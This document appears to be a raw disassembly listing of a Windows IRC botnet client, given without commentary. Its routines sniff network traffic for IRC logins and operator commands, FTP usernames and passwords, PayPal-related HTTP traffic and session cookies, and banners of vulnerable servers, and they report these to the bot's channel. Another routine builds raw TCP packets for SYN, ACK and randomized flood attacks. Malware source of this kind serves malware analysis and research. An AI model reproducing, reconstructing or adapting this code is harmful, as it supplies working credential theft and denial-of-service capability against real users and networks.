dd 858D50FCh, 0FFFFFB20h, 0E850A5F3h, 0FFFFFB24h, 53084589h
dd 0FD20858Dh, 6AFFFFh, 9486E850h, 0C4810000h, 0ACh, 0FB20858Dh
dd 6A53FFFFh, 71E85000h, 83000094h, 2EEB0CC4h, 7401FE83h
dd 3FE8314h, 0FE830F74h, 83057402h, 1A7504FEh, 0EBFC75FFh
dd 0FC458B07h, 5007C083h, 0FD20858Dh, 0E850FFFFh, 9D70h
dd 45835959h, 7D8114FCh, 436B7CFCh, 0E98C0F00h, 83FFFFFDh
dd 0F00087Dh, 0FFFBB584h, 24B5FFFFh, 0E8FFFFFFh, 0FFFF8B7Eh
dd 0E8006A59h, 230D4A0h
db 90h
byte_412B61 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+4150o
dd 102B4B8h, 9992E800h, 558B0000h, 6A575608h, 0F28B5801h
dd 0BD8D256Ah, 0FFFFFF4Ch, 0F8458959h, 8289A5F3h, 90h
dd 106AF633h, 56E4458Dh, 93D6E850h, 0C4830000h, 45C7660Ch
dd 560002E4h, 0B9D415FFh, 0B5FF004Ch, 0FFFFFF4Ch, 0E6458966h
dd 0FF7E4DE8h, 0FF5059FFh, 4CBA1415h, 36A5600h, 4589026Ah
dd 5415FFE8h, 8B004CBAh, 0FFFF83F8h, 75FC7D89h, 6815FF5Dh
dd 50004CB9h, 0FD4C858Dh, 9C68FFFFh, 50004375h, 9675E8h
dd 0CC48300h, 75D87539h, 858D5620h, 0FFFFFD4Ch, 50D475FFh
dd 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h, 6C53E8FFh, 0C483FFFFh
dd 4C858D14h, 50FFFFFDh, 3113E8h, 0D075FF00h, 0FF8AA9E8h
dd 565959FFh, 30D3CBE8h, 458B9002h, 69106AD0h, 234C0h
dd 1CB88900h, 8D0043E9h, 5750E445h, 0BA0015FFh, 0F883004Ch
dd 0FF6475FFh, 4CB96815h, 858D5000h, 0FFFFFD4Ch, 43757068h
dd 0F7E85000h, 83000095h, 75390CC4h, 562075D8h, 0FD4C858Dh
dd 75FFFFFFh, 858D50D4h, 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh
dd 0FFFF6BD5h, 8D14C483h, 0FFFD4C85h, 95E850FFh, 59000030h
dd 6C15FF57h, 0FF004CBAh, 23E8D075h, 59FFFF8Ah, 0D346E856h
dd 56900230h, 56E0458Dh, 8D565650h, 46AF845h, 16850h, 0FF579800h
dd 4CB98015h, 0FFF88300h, 15FF6475h, 4CB968h, 4C858D50h
dd 68FFFFFDh, 437540h, 9574E850h, 0C4830000h, 0D875390Ch
dd 8D562075h, 0FFFD4C85h, 0D475FFFFh, 50858D50h, 50FFFFFFh
dd 0FF4CB5FFh, 52E8FFFFh, 83FFFF6Bh, 858D14C4h, 0FFFFFD4Ch
dd 3012E850h, 57590000h, 0BA6C15FFh, 75FF004Ch, 89A0E8D0h
dd 5659FFFFh, 0D2C2E890h, 0BB530230h, 436C58h, 0FFFFBFh
dd 4C858D00h, 57FFFEFDh, 19E85056h, 83000092h, 858D0CC4h
dd 0FFFEFD4Ch, 0FF505756h, 15FFFC75h, 4CB9ECh, 0FFFF883h
dd 0FC84h, 55BD8000h, 6FFFEFDh, 858BC675h, 0FFFEFD58h
dd 0FD6DBD80h, 8918FFFEh, 0B475F445h, 0FD74858Dh, 3468FFFEh
dd 50004375h, 953FE8h, 0C0855900h, 8D9D7559h, 0FEFD7485h
dd 752468FFh, 0E8500043h, 9528h, 59C08559h, 0C38B8675h
dd 0C085FF33h, 0FF7A840Fh, 5D89FFFFh, 858D5008h, 0FFFEFD74h
dd 9506E850h, 85590000h, 0F7559C0h, 8458347h, 8458B18h
dd 55E9E375h, 8DFFFFFFh, 0FEFD7485h, 0B5FF50FFh, 0FFFEFD60h
dd 0B90415FFh, 0B70F004Ch, 75FF50C0h, 6015FFF4h, 50004CBAh
dd 8B7F048Dh, 6C6CC504h, 34FF0043h, 436C4885h, 4C858D00h
dd 68FFFFFDh, 4374F0h, 20068h, 29E85000h, 83000095h, 75391CC4h
dd 562075D8h, 0FD4C858Dh, 75FFFFFFh, 858D50D4h, 0FFFFFF50h
dd 4CB5FF50h, 0E8FFFFFFh, 0FFFF6A0Dh, 8D14C483h, 0FFFD4C85h
dd 0CDE850FFh, 5900002Eh, 0FFFED3E9h, 6815FFFFh, 50004CB9h
dd 4374C468h, 4C858D00h, 68FFFFFDh, 200h, 94D2E850h, 0C4830000h
dd 0D8753910h, 5620755Bh, 0FD4C858Dh, 75FFFFFFh, 858D50D4h
dd 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh, 0FFFF69B5h, 8D14C483h
dd 0FFFD4C85h, 75E850FFh, 5900002Eh, 0FFFC75FFh, 4CBA6C15h
dd 0D075FF00h, 0FF8801E8h, 0E85659FFh, 230D124h
db 90h
; =============== S U B R O U T I N E =======================================
sub_412EDD proc near ; CODE XREF: sub_4131EC+213p
; sub_4131EC+239p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dword_4CE734, eax
mov eax, offset dword_4CE734
retn
sub_412EDD endp
; =============== S U B R O U T I N E =======================================
sub_412EEC proc near ; CODE XREF: sub_4131EC+2BFp
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aBotSniff ; "Bot sniff"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_412F06
loc_412F02: ; CODE XREF: sub_412EEC+29j
; sub_412EEC+3Aj ...
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_412F06: ; CODE XREF: sub_412EEC+14j
push offset aFaak ; "#FAAK#"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412F02
push offset aPsniff_1 ; "[PSNIFF]:"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412F02
push offset aPsniff_0 ; "PSNIFF//"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412F02
push offset aJoin_0 ; "JOIN #"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_412F4E
loc_412F4A: ; CODE XREF: sub_412EEC+71j
; sub_412EEC+82j ...
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_412F4E: ; CODE XREF: sub_412EEC+5Cj
; DATA XREF: ___:off_43ACE0o
push offset a302_0 ; "302 "
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412F4A
push offset a366 ; "366 "
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412F4A
push offset a_login_0 ; ":.login"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412F4A
push offset aLogin_1 ; ":!login"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412F4A
push offset aLogin_0 ; ":!Login"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412F4A
push offset a_login ; ":.Login"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412F4A
push offset a_ident ; ":.ident"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412F4A
push offset aIdent_0 ; ":!ident"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz loc_412F4A
push offset a_hashin ; ":.hashin"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz loc_412F4A
push offset aHashin ; ":!hashin"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_412EEC endp
; =============== S U B R O U T I N E =======================================
sub_413003 proc near ; CODE XREF: sub_4131EC+2F8p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aIrcSniff ; "IRC sniff"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_41301D
loc_413019: ; CODE XREF: sub_413003+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_41301D: ; CODE XREF: sub_413003+14j
push offset aFaak ; "#FAAK#"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_413019
push offset aOper_0 ; "OPER "
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_413043
loc_41303F: ; CODE XREF: sub_413003+4Fj
; sub_413003+60j
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_413043: ; CODE XREF: sub_413003+3Aj
push offset aNick_1 ; "NICK "
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_41303F
push offset aOper ; "oper "
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_41303F
push offset aYouAreNowAnIrc ; "You are now an IRC Operator"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_413003 endp
; =============== S U B R O U T I N E =======================================
sub_413079 proc near ; CODE XREF: sub_4131EC+32Ep
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aFtpSniff ; "FTP sniff"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_413093
loc_41308F: ; CODE XREF: sub_413079+29j
; sub_413079+3Aj
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_413093: ; CODE XREF: sub_413079+14j
push offset aFaak ; "#FAAK#"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_41308F
push offset aNick_1 ; "NICK "
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_41308F
push offset a220 ; "220 "
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_4130CA
loc_4130C6: ; CODE XREF: sub_413079+60j
; sub_413079+71j
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_4130CA: ; CODE XREF: sub_413079+4Bj
push offset a230 ; "230 "
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_4130C6
push offset aUser_3 ; "USER "
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_4130C6
push offset aPass_1 ; "PASS "
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_413079 endp
; =============== S U B R O U T I N E =======================================
sub_413100 proc near ; CODE XREF: sub_4131EC+35Fp
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aHttpSniff ; "HTTP sniff"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_41311A
loc_413116: ; CODE XREF: sub_413100+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_41311A: ; CODE XREF: sub_413100+14j
push offset aFaak ; "#FAAK#"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_413116
push offset aPaypal ; "paypal"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_413140
loc_41313C: ; CODE XREF: sub_413100+4Fj
; sub_413100+60j ...
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_413140: ; CODE XREF: sub_413100+3Aj
push offset aPaypal_0 ; "PAYPAL"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_41313C
push offset aPaypal_com_0 ; "PAYPAL.COM"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_41313C
push offset aPaypal_com ; "paypal.com"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_41313C
push offset aSetCookie ; "Set-Cookie:"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_413100 endp
; =============== S U B R O U T I N E =======================================
sub_413187 proc near ; CODE XREF: sub_4131EC:loc_4135B1p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aVulnSniff ; "VULN sniff"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_4131A1
loc_41319D: ; CODE XREF: sub_413187+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_4131A1: ; CODE XREF: sub_413187+14j
push offset aFaak ; "#FAAK#"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_41319D
push offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_4131C7
loc_4131C3: ; CODE XREF: sub_413187+4Fj
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_4131C7: ; CODE XREF: sub_413187+3Aj
push offset aServUFtpServer ; "Serv-U FTP Server"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_4131C3
push offset aOpenssh_2 ; "OpenSSH_2"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_413187 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4131EC proc near ; DATA XREF: sub_401ACD+42A0o
var_113B8 = byte ptr -113B8h
var_113AF = byte ptr -113AFh
var_113AC = dword ptr -113ACh
var_113A8 = dword ptr -113A8h
var_113A4 = dword ptr -113A4h
var_1138C = byte ptr -1138Ch
var_13B8 = byte ptr -13B8h
var_BB8 = byte ptr -0BB8h
var_3B8 = byte ptr -3B8h
var_3B7 = byte ptr -3B7h
var_2B8 = byte ptr -2B8h
var_B8 = dword ptr -0B8h
var_B4 = byte ptr -0B4h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 113B8h
call sub_41C500
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 25h
mov esi, eax
pop ecx
lea edi, [ebp+var_B8]
rep movsd
push 1
xor ebx, ebx
pop esi
lea edi, [ebp+var_3B7]
push 3Fh
mov [eax+90h], esi
pop ecx
xor eax, eax
mov [ebp+var_3B8], bl
push 0FFh
rep stosd
stosw
lea eax, [ebp+var_3B8]
mov [ebp+var_20], 2
push eax
mov [ebp+var_1E], bx
mov [ebp+var_1C], ebx
call dword_4CB9E8
lea eax, [ebp+var_3B8]
push eax
call dword_4CBA58
movsx ecx, word ptr [eax+0Ah]
mov eax, [eax+0Ch]
push ecx
push dword ptr [eax]
lea eax, [ebp+var_8]
push eax
call sub_41CD20
mov eax, [ebp+var_8]
add esp, 0Ch
mov [ebp+var_1C], eax
push ebx
push 3
push 2
call dword_4CBA54
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_10], edi
jnz short loc_413292
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_413292: ; CODE XREF: sub_4131EC+9Bj
lea eax, [ebp+var_20]
push 10h
push eax
push edi
call dword_4CBA00
cmp eax, 0FFFFFFFFh
jnz short loc_413308
call dword_4CB968
push eax
lea eax, [ebp+var_2B8]
push offset unk_437870
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_2C], ebx
jnz short loc_4132E4
push ebx
lea eax, [ebp+var_2B8]
push [ebp+var_30]
push eax
lea eax, [ebp+var_B4]
push eax
push [ebp+var_B8]
call sub_409869
add esp, 14h
loc_4132E4: ; CODE XREF: sub_4131EC+D6j
lea eax, [ebp+var_2B8]
push eax
call sub_415D38
pop ecx
push edi
call dword_4CBA6C
push [ebp+var_34]
call sub_40B6D6
pop ecx
push ebx
nop
call near ptr 2720000h
loc_413308: ; CODE XREF: sub_4131EC+B6j
push ebx
lea eax, [ebp+var_24]
push ebx
push eax
push ebx
push ebx
lea eax, [ebp+var_C]
push 4
push eax
push 98000001h
push edi
mov [ebp+var_C], esi
call dword_4CB980
cmp eax, 0FFFFFFFFh
jnz short loc_41338E
call dword_4CB968
push eax
lea eax, [ebp+var_2B8]
push offset unk_437840
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_2C], ebx
jnz short loc_41336A
push ebx
lea eax, [ebp+var_2B8]
push [ebp+var_30]
push eax
lea eax, [ebp+var_B4]
push eax
push [ebp+var_B8]
call sub_409869
add esp, 14h
loc_41336A: ; CODE XREF: sub_4131EC+15Cj
lea eax, [ebp+var_2B8]
push eax
call sub_415D38
pop ecx
push edi
call dword_4CBA6C
push [ebp+var_34]
call sub_40B6D6
pop ecx
push ebx
nop
call near ptr 2720000h
loc_41338E: ; CODE XREF: sub_4131EC+13Cj
mov esi, 200h
loc_413393: ; CODE XREF: sub_4131EC+1D6j
; sub_4131EC+1FBj ...
mov edi, 0FFFFh
lea eax, [ebp+var_113B8]
push edi
push ebx
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_113B8]
push ebx
push edi
push eax
push [ebp+var_10]
call dword_4CB9EC
cmp [ebp+var_113AF], 6
jnz short loc_413393
push [ebp+var_113A4]
mov edi, dword_4271CC
call edi ; htons
push [ebp+var_113A4+2]
movzx eax, ax
mov [ebp+arg_0], eax
call edi ; htons
cmp [ebp+arg_0], 6Eh
movzx edi, ax
jz short loc_413393
cmp [ebp+arg_0], 19h
jz short loc_413393
cmp edi, 6Eh
jz short loc_413393
cmp edi, 19h
jz short loc_413393
push [ebp+var_113AC]
call sub_412EDD
pop ecx
push dword ptr [eax]
call near ptr 71AB401Ch
nop
push eax
lea eax, [ebp+var_13B8]
push offset aS_1 ; "%s"
push eax
call sub_41C266
push [ebp+var_113A8]
call sub_412EDD
add esp, 10h
push dword ptr [eax]
call near ptr 71AB401Ch
nop
push eax
lea eax, [ebp+var_BB8]
push offset aS_1 ; "%s"
push eax
call sub_41C266
lea eax, [ebp+var_1138C]
mov [ebp+var_4], ebx
push eax
call sub_41B9C0
add esp, 10h
test eax, eax
jle short loc_413491
loc_41345D: ; CODE XREF: sub_4131EC+2A3j
mov eax, [ebp+var_4]
cmp [ebp+eax+var_1138C], 0Dh
lea eax, [ebp+eax+var_1138C]
jnz short loc_413474
mov byte ptr [eax], 20h
loc_413474: ; CODE XREF: sub_4131EC+283j
cmp byte ptr [eax], 0Ah
jnz short loc_41347C
mov byte ptr [eax], 20h
loc_41347C: ; CODE XREF: sub_4131EC+28Bj
inc [ebp+var_4]
lea eax, [ebp+var_1138C]
push eax
call sub_41B9C0
cmp [ebp+var_4], eax
pop ecx
jl short loc_41345D
loc_413491: ; CODE XREF: sub_4131EC+26Fj
cmp [ebp+arg_0], 50h
jz loc_413544
cmp edi, 50h
jz loc_413544
lea eax, [ebp+var_1138C]
push eax
call sub_412EEC
test al, al
pop ecx
jz short loc_4134D8
lea eax, [ebp+var_1138C]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_43780C
jmp loc_413573
; ---------------------------------------------------------------------------
loc_4134D8: ; CODE XREF: sub_4131EC+2C7j
cmp edi, 50h
jz short loc_413544
lea eax, [ebp+var_1138C]
push eax
call sub_413003
test al, al
pop ecx
jz short loc_41350E
lea eax, [ebp+var_1138C]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_4377D8
jmp short loc_413573
; ---------------------------------------------------------------------------
loc_41350E: ; CODE XREF: sub_4131EC+300j
cmp edi, 50h
jz short loc_413544
lea eax, [ebp+var_1138C]
push eax
call sub_413079
test al, al
pop ecx
jz short loc_413544
lea eax, [ebp+var_1138C]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_4377A4
jmp short loc_413573
; ---------------------------------------------------------------------------
loc_413544: ; CODE XREF: sub_4131EC+2A9j
; sub_4131EC+2B2j ...
lea eax, [ebp+var_1138C]
push eax
call sub_413100
test al, al
pop ecx
lea eax, [ebp+var_1138C]
push eax
jz short loc_4135B1
lea eax, [ebp+var_BB8]
push edi
push eax
lea eax, [ebp+var_13B8]
push [ebp+arg_0]
push eax
push offset unk_43776C
loc_413573: ; CODE XREF: sub_4131EC+2E7j
; sub_4131EC+320j ...
lea eax, [ebp+var_2B8]
push esi
push eax
call sub_41C360
add esp, 20h
cmp [ebp+var_2C], ebx
jnz loc_413393
push ebx
lea eax, [ebp+var_2B8]
push [ebp+var_30]
push eax
lea eax, [ebp+var_B4]
push eax
push [ebp+var_B8]
call sub_409869
add esp, 14h
jmp loc_413393
; ---------------------------------------------------------------------------
loc_4135B1: ; CODE XREF: sub_4131EC+36Ej
call sub_413187
test al, al
pop ecx
jz loc_413393
lea eax, [ebp+var_1138C]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_437734
jmp short loc_413573
sub_4131EC endp
; ---------------------------------------------------------------------------
byte_4135DF db 55h ; DATA XREF: sub_401ACD+6464o
dd 0EC81EC8Bh, 494h, 5608458Bh, 0A5B957h, 0F08B0000h, 0FD6CBD8Dh
dd 0A5F3FFFFh, 29080C7h, 10000h, 0B2E80000h, 90022BD6h
dd 8CA6E850h, 858D0000h, 0FFFFFE74h, 74858D50h, 50FFFFFFh
dd 0FDF4858Dh, 8D50FFFFh, 0FFFD7485h, 98E850FFh, 83000003h
dd 8D5014C4h, 0FFFB6C85h, 789C68FFh, 0E8500043h, 8C1Eh
dd 0C483F633h, 0F875390Ch, 8D562075h, 0FFFB6C85h, 0F475FFFFh
dd 0F4858D50h, 50FFFFFEh, 0FD6CB5FFh, 0FAE8FFFFh, 83FFFF61h
dd 858D14C4h, 0FFFFFB6Ch, 26BAE850h, 0B5FF0000h, 0FFFFFD70h
dd 0FF804DE8h, 565959FFh, 0C96EE890h, 5E5F0230h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413694 proc near ; CODE XREF: ___:00413A0Bp
var_284 = byte ptr -284h
var_F4 = byte ptr -0F4h
var_B4 = byte ptr -0B4h
var_B3 = byte ptr -0B3h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_8C = byte ptr -8Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6F = byte ptr -6Fh
var_6E = word ptr -6Eh
var_58 = word ptr -58h
var_56 = word ptr -56h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_32 = word ptr -32h
var_30 = word ptr -30h
var_2E = word ptr -2Eh
var_2C = byte ptr -2Ch
var_2B = byte ptr -2Bh
var_2A = word ptr -2Ah
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = word ptr -6
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_B3]
mov [ebp+var_B4], bl
rep stosd
stosw
stosb
lea eax, [ebp+var_284]
push eax
push 202h
call dword_4CB944
test eax, eax
jz short loc_4136D4
xor eax, eax
jmp loc_4139C7
; ---------------------------------------------------------------------------
loc_4136D4: ; CODE XREF: sub_413694+37j
push 1
pop edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call dword_4CBA78
cmp eax, 0FFFFFFFFh
mov [ebp+var_20], eax
jz loc_4139BF
push esi
lea ecx, [ebp+var_40]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_40], edi
call dword_4CB9B4
cmp eax, 0FFFFFFFFh
jz loc_4139B5
push [ebp+arg_C]
mov [ebp+var_58], 2
call dword_4CB9D4
mov esi, [ebp+arg_0]
push 28h
mov [ebp+var_56], ax
mov [ebp+var_54], esi
mov [ebp+var_34], 45h
call dword_4CB9D4
push [ebp+arg_C]
mov [ebp+var_32], ax
mov [ebp+var_30], di
mov [ebp+var_2E], bx
mov [ebp+var_2C], 80h
mov [ebp+var_2B], 6
mov [ebp+var_2A], bx
mov [ebp+var_24], esi
call dword_4CB9D4
mov [ebp+var_12], ax
call sub_41C2C2
movzx eax, ax
cdq
mov ecx, 401h
idiv ecx
push edx
call dword_4CB9D4
push 12345678h
mov [ebp+var_14], ax
call dword_4CB9D0
push offset aDdos_syn ; "ddos.syn"
mov [ebp+var_10], eax
push [ebp+arg_8]
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_4137A4
mov [ebp+var_C], ebx
mov [ebp+var_7], 2
jmp short loc_4137F8
; ---------------------------------------------------------------------------
loc_4137A4: ; CODE XREF: sub_413694+105j
push offset aDdos_ack ; "ddos.ack"
push [ebp+arg_8]
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_4137C0
mov [ebp+var_C], ebx
mov [ebp+var_7], 10h
jmp short loc_4137F8
; ---------------------------------------------------------------------------
loc_4137C0: ; CODE XREF: sub_413694+121j
push offset aDdos_random ; "ddos.random"
push [ebp+arg_8]
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_4137F8
call sub_41C2C2
push 3
cdq
pop ecx
idiv ecx
mov [ebp+var_C], edx
call sub_41C2C2
push 2
cdq
pop ecx
idiv ecx
neg edx
sbb dl, dl
and dl, 0Eh
add dl, cl
mov [ebp+var_7], dl
loc_4137F8: ; CODE XREF: sub_413694+10Ej
; sub_413694+12Aj ...
push 4000h
mov [ebp+var_8], 50h
call dword_4CB9D4
mov [ebp+var_6], ax
lea eax, [ebp+var_48]
push eax
mov [ebp+var_2], bx
mov [ebp+arg_8], ebx
nop
call near ptr 27D0435h
lea eax, [ebp+var_1C]
push eax
nop
call near ptr 27D016Bh
push [ebp+var_44]
mov eax, [ebp+arg_10]
cdq
push [ebp+var_48]
push edx
push eax
call sub_41DB20
add eax, [ebp+var_1C]
push 14h
pop esi
adc edx, [ebp+var_18]
mov [ebp+var_3C], eax
mov [ebp+var_38], edx
loc_413846: ; CODE XREF: sub_413694+2E2j
; sub_413694+2F0j
mov [ebp+var_4], bx
call sub_41C2C2
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call dword_4CB9D4
mov [ebp+var_14], ax
call sub_41C2C2
mov edi, eax
shl edi, 10h
call sub_41C2C2
or edi, eax
push edi
call dword_4CB9D4
movzx eax, ax
mov [ebp+var_10], eax
mov eax, [ebp+arg_4]
inc [ebp+arg_4]
push eax
call dword_4CB9D0
mov [ebp+var_28], eax
mov eax, [ebp+var_24]
push esi
mov [ebp+var_74], eax
mov [ebp+var_70], bl
mov [ebp+var_6F], 6
call dword_4CB9D4
mov [ebp+var_6E], ax
mov eax, [ebp+var_28]
mov [ebp+var_78], eax
lea eax, [ebp+var_78]
push 20h
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41CD20
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_94]
push eax
call sub_41CD20
lea eax, [ebp+var_B4]
push 34h
push eax
call sub_40AA5F
mov [ebp+var_4], ax
lea eax, [ebp+var_34]
push esi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41CD20
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_A0]
push eax
call sub_41CD20
push 4
lea eax, [ebp+var_8C]
push ebx
push eax
call sub_41BF70
add esp, 44h
lea eax, [ebp+var_B4]
push 28h
push eax
call sub_40AA5F
mov [ebp+var_2A], ax
lea eax, [ebp+var_34]
push esi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41CD20
add esp, 14h
lea eax, [ebp+var_58]
push 10h
push eax
push ebx
lea eax, [ebp+var_B4]
push 28h
push eax
push [ebp+var_20]
call dword_4CBA38
cmp eax, 0FFFFFFFFh
jz short loc_413989
add [ebp+arg_8], eax
lea eax, [ebp+var_1C]
push eax
nop
call near ptr 27D016Bh
mov eax, [ebp+var_18]
cmp eax, [ebp+var_38]
jg short loc_4139B2
jl loc_413846
mov eax, [ebp+var_1C]
cmp eax, [ebp+var_3C]
jnb short loc_4139B2
jmp loc_413846
; ---------------------------------------------------------------------------
loc_413989: ; CODE XREF: sub_413694+2CBj
call dword_4CB968
push eax
lea eax, [ebp+var_F4]
push offset dword_4378C4
push eax
call sub_41C266
lea eax, [ebp+var_F4]
push eax
call sub_415D38
add esp, 10h
jmp short loc_4139B5
; ---------------------------------------------------------------------------
loc_4139B2: ; CODE XREF: sub_413694+2E0j
; sub_413694+2EEj
mov ebx, [ebp+arg_8]
loc_4139B5: ; CODE XREF: sub_413694+78j
; sub_413694+31Cj
push [ebp+var_20]
call dword_4CBA6C
pop esi
loc_4139BF: ; CODE XREF: sub_413694+5Bj
call dword_4CB92C
mov eax, ebx
loc_4139C7: ; CODE XREF: sub_413694+3Bj
pop edi
pop ebx
leave
retn
sub_413694 endp
; ---------------------------------------------------------------------------
push ebx
push esi
push edi
push dword ptr [esp+10h]
call sub_40A8F0
push dword ptr [esp+18h]
mov esi, eax
call sub_41C159
push dword ptr [esp+24h]
mov ebx, eax
call sub_41C159
mov edi, eax
call sub_41C2C2
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
push dword ptr [esp+2Ch]
lea eax, [edx+esi+100h]
push eax
push esi
